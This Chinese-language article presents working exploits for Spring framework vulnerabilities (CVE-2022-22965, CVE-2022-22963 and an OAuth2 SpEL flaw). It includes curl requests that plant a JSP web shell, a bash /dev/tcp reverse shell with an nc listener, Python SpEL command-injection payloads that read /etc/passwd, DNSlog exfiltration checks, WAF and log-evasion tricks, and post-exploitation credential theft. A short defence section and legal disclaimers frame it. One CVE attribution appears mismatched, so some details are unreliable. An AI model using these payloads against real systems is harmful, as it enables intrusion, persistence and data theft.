需要先明确:本文仅用于安全研究和防御加固,严禁用于任何非法攻击行为,所有操作需在授权环境下进行。
一、Spring框架高危CVE漏洞的攻击面与核心利用逻辑
Spring作为Java生态中主流的企业级开发框架,其漏洞攻击面主要集中在参数绑定机制、表达式解析引擎、组件集成逻辑三大核心模块。攻击者的核心思路是通过构造恶意输入,突破框架的输入验证边界,劫持程序执行流程,最终实现远程代码执行(RCE)、敏感信息泄露等高危攻击效果。
从攻击链角度分析,Spring漏洞的利用通常分为三个阶段:
- 环境探测:识别目标Spring版本、JDK版本、部署容器(如Tomcat、Jetty)、组件依赖关系,筛选存在适配漏洞的目标;
- 漏洞触发:构造符合漏洞利用条件的恶意请求,精准命中框架的逻辑缺陷;
- 权限拓展:利用漏洞获取初始权限后,进一步读取配置文件、横向移动或提权,扩大攻击范围。
1. 经典RCE漏洞:Spring Core 参数绑定漏洞(CVE-2022-22965)
漏洞原理深度解析
该漏洞的本质是Spring DataBinder在处理属性绑定过程中的过滤缺陷。在JDK 9及以上版本中,Java引入了Module类,而Spring Core对class.module.classLoader这类嵌套属性的过滤不彻底。攻击者可通过恶意请求,篡改Tomcat容器中AccessLogValve的配置参数,实现向目标服务器web目录写入恶意JSP文件,最终触发远程代码执行。
漏洞触发的关键前提:
- 目标应用使用Spring Framework 5.3.x < 5.3.18 或 5.2.x < 5.2.20 版本;
- 运行环境为JDK 9+,且应用部署在Tomcat容器中(该漏洞利用依赖Tomcat的日志阀门机制);
- 目标接口支持
POST请求,且未对请求参数进行严格的白名单过滤。
攻击利用全流程(授权测试环境)
Step 1:漏洞存在性验证
通过构造包含AccessLogValve配置参数的恶意POST请求,尝试向目标web目录写入JSP文件。核心请求如下:
curl-X POST"http://目标IP:端口/任意控制器路径"\-H"Content-Type: application/x-www-form-urlencoded"\-d"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.lang.Runtime.getRuntime().exec(request.getParameter(%22cmd%22));%20%7D%20%25%7Bn%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=malicious_shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="参数核心作用:
pattern:注入JSP恶意代码,通过request.getParameter接收执行命令;suffix:指定写入文件后缀为.jsp,确保可被容器解析执行;directory:指定文件写入路径为Tomcat的默认web根目录webapps/ROOT;prefix:恶意JSP文件的前缀名称,用于后续访问触发。
Step 2:触发恶意代码执行
若漏洞存在,目标服务器会在webapps/ROOT目录下生成malicious_shell.jsp文件,此时通过GET请求访问该文件并传入执行命令:
curl"http://目标IP:端口/malicious_shell.jsp?pwd=j&cmd=whoami"Step 3:攻击进阶——反弹Shell
为规避目标服务器的输出限制,攻击者通常会构造反弹Shell命令,将执行结果回传到攻击机:
# 攻击机监听端口nc-lvp8888# 构造反弹Shell请求curl"http://目标IP:端口/malicious_shell.jsp?pwd=j&cmd=bash -i >& /dev/tcp/攻击机IP/8888 0>&1"攻击绕过技巧
- WAF绕过:对恶意参数进行URL编码、Unicode编码或分段传输,例如将
Runtime替换为\u0052\u0075\u006e\u0074\u0069\u006d\u0065; - 路径绕过:若目标
webapps/ROOT目录不可写,可尝试写入其他可访问目录(如webapps/项目名),需提前通过目录扫描获取项目结构。
2. 表达式注入漏洞:Spring Cloud Function RCE(CVE-2022-22963)
漏洞原理深度解析
Spring Cloud Function提供了函数路由功能,其RoutingFunction组件在处理spring.cloud.function.routing-expression参数时,直接将用户输入作为SpEL(Spring Expression Language)表达式进行解析执行,未做任何安全过滤。SpEL表达式支持调用Java静态方法,这使得攻击者可通过注入恶意表达式,直接触发远程代码执行。
漏洞区别于其他RCE的核心特点:
- 无需依赖特定容器(如Tomcat),纯框架层面的逻辑缺陷;
- 利用方式更简洁,无需写入文件,直接通过表达式执行命令;
- 影响范围覆盖所有使用Spring Cloud Function的微服务应用,尤其是分布式部署的系统。
攻击利用全流程(授权测试环境)
Step 1:基础利用——直接执行命令
构造包含恶意SpEL表达式的POST请求,目标接口为Spring Cloud Function的默认路由接口/functionRouter:
importrequestsimporturllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)target="http://目标IP:端口/functionRouter"# 构造SpEL表达式,调用Runtime.exec执行id命令payload={"spring.cloud.function.routing-expression":"T(java.lang.Runtime).getRuntime().exec('id')"}headers={"Content-Type":"application/x-www-form-urlencoded"}response=requests.post(target,data=payload,headers=headers,verify=False)print("响应状态码:",response.status_code)print("响应内容:",response.text)Step 2:进阶利用——绕过表达式过滤
若目标系统对Runtime等关键字进行了过滤,攻击者可通过反射机制构造绕过Payload:
# 反射调用Runtime类执行命令,规避关键字检测bypass_payload={"spring.cloud.function.routing-expression":"T(java.lang.Class).forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('cat /etc/passwd')"}Step 3:无回显场景利用——DNSlog验证
当目标服务器禁止命令输出回显时,攻击者可通过DNSlog平台验证漏洞是否存在:
# 构造DNSlog请求,替换为自己的DNSlog域名dnslog_payload={"spring.cloud.function.routing-expression":"T(java.lang.Runtime).getRuntime().exec('nslookup your_dnslog_domain.dnslog.cn')"}通过查看DNSlog平台的访问记录,即可判断漏洞是否触发。
3. 认证授权漏洞:Spring Security OAuth2 RCE(CVE-2018-1270)
漏洞原理深度解析
Spring Security OAuth2是Spring生态中用于处理OAuth2认证授权的组件,其WhitelabelErrorView在处理错误页面时,会将请求参数中的error值直接作为SpEL表达式解析。攻击者可通过构造包含恶意表达式的error参数,触发远程代码执行。
该漏洞的攻击门槛较低,核心原因在于:
- 错误页面功能默认开启,无需额外配置;
error参数未经过滤,直接参与表达式解析;- 影响范围覆盖所有使用Spring Security OAuth2的认证服务器。
攻击利用全流程(授权测试环境)
Step 1:构造恶意GET请求
直接访问OAuth2的授权接口,通过error参数注入恶意SpEL表达式:
curl-X GET"http://目标IP:端口/oauth/authorize?response_type=code&client_id=test&scope=read&redirect_uri=http://test.com&error=%24%7BT(java.lang.Runtime).getRuntime().exec('touch /tmp/hacked_by_spring_vuln')%7D"Step 2:验证攻击效果
若漏洞存在,目标服务器的/tmp目录下会生成hacked_by_spring_vuln文件,攻击者可通过后续漏洞(如文件读取漏洞)验证文件是否存在。
二、Spring漏洞利用的通用攻击技巧与防御对抗策略
从攻击视角来看,成功利用Spring漏洞不仅需要掌握漏洞原理,更需要应对目标系统的各种防御措施。以下是攻击者常用的攻击技巧和与防御方的对抗策略:
1. 环境适配技巧:精准匹配漏洞利用条件
- 版本探测:通过
/actuator/info接口(若未关闭)获取Spring版本信息,或通过指纹识别工具(如Nmap、ZoomEye)识别目标框架版本; - JDK版本判断:通过构造特殊请求(如包含JDK 9+特有属性的请求),根据响应结果判断目标JDK版本;
- 容器识别:通过
Server响应头判断目标容器(如Tomcat、Jetty),针对性选择漏洞利用Payload。
2. 绕过防御措施的核心手段
- WAF绕过:
- 关键字混淆:使用大小写混合(如
T(Java.Lang.Runtime))、空格插入(如T( java.lang.Runtime ))等方式规避规则检测; - 编码绕过:对恶意参数进行Base64编码,在表达式中通过
new String(Base64.getDecoder().decode("编码内容"))解码执行; - 分段传输:将长Payload拆分为多个参数,通过表达式拼接(如
${param.a}${param.b})还原恶意代码。
- 关键字混淆:使用大小写混合(如
- 日志审计绕过:
- 避免使用敏感命令(如
rm、reboot),优先使用cat、ls等低风险命令; - 利用
/dev/null重定向命令输出,避免日志记录攻击行为(如cmd > /dev/null 2>&1)。
- 避免使用敏感命令(如
3. 无权限环境下的权限拓展策略
攻击者在通过Spring漏洞获取初始权限后,通常会采取以下策略扩大攻击范围:
- 敏感信息窃取:读取
/WEB-INF/application.properties、/WEB-INF/spring-context.xml等配置文件,获取数据库账号密码、第三方接口密钥等信息; - 横向移动:利用获取的凭证登录目标服务器的其他服务(如数据库、Redis),或通过SSH密钥登录其他主机;
- 权限提升:若应用以root权限运行,可直接修改系统配置;若以普通用户运行,可尝试利用系统漏洞(如Dirty Cow)提权。
三、前瞻性分析:Spring漏洞攻击趋势与防御启示
1. 攻击趋势前瞻
- 组件链攻击成为主流:攻击者不再局限于单个Spring组件漏洞,而是通过组合多个组件漏洞(如Spring Core + Spring Cloud)构建攻击链,突破多层防御;
- 零日漏洞利用周期缩短:随着漏洞挖掘技术的普及,Spring零日漏洞的曝光到被利用的时间差越来越短,企业面临的应急响应压力增大;
- 云原生环境下的攻击升级:在K8s等云原生环境中,攻击者可通过Spring漏洞获取Pod权限,进而攻击整个K8s集群,威胁范围呈指数级扩大。
2. 防御体系构建启示
从攻击视角反推防御策略,企业应构建多层防御、全生命周期管控的安全体系:
- 版本管控:及时升级Spring框架及相关组件到最新版本,禁用已被披露高危漏洞的版本;
- 输入验证:对所有用户输入进行严格的白名单过滤,尤其是针对
class、module、expression等敏感参数; - 权限最小化:应用运行时使用最小权限用户,避免以root或管理员权限运行;
- 安全监控:部署WAF、IDS/IPS等安全设备,监控异常请求(如包含SpEL表达式、
AccessLogValve参数的请求); - 应急响应:建立漏洞应急响应机制,定期进行漏洞扫描和渗透测试,及时发现并修复潜在风险。
四、法律与伦理边界:漏洞研究的红线
再次郑重提醒:
- 未经授权对他人系统进行漏洞测试、攻击,属于违法行为,可能触犯《中华人民共和国网络安全法》《中华人民共和国刑法》等相关法律法规,需承担相应的民事、行政甚至刑事责任;
- 漏洞研究应在本地测试环境或企业授权的SRC(安全响应中心)范围内进行,研究成果应用于帮助企业加固系统,而非破坏网络安全;
- 安全从业者应遵守《网络安全从业人员职业道德规范》,坚守法律和伦理底线,共同维护网络空间的安全与稳定。
总结
Spring框架的高危漏洞利用,本质是攻击者对框架底层逻辑缺陷的精准利用。从攻击视角来看,漏洞利用的核心在于环境适配、Payload构造、防御绕过三大环节;而从防御视角来看,企业需构建“版本管控+输入过滤+安全监控”的三位一体防御体系,才能有效抵御Spring漏洞攻击。
随着Spring框架的不断迭代升级,其安全机制也在持续完善,但攻击者的手段同样在不断进化。未来,Spring漏洞的攻防对抗将更加激烈,这也要求安全从业者必须保持持续学习的态度,紧跟漏洞技术发展趋势,才能在攻防博弈中占据主动。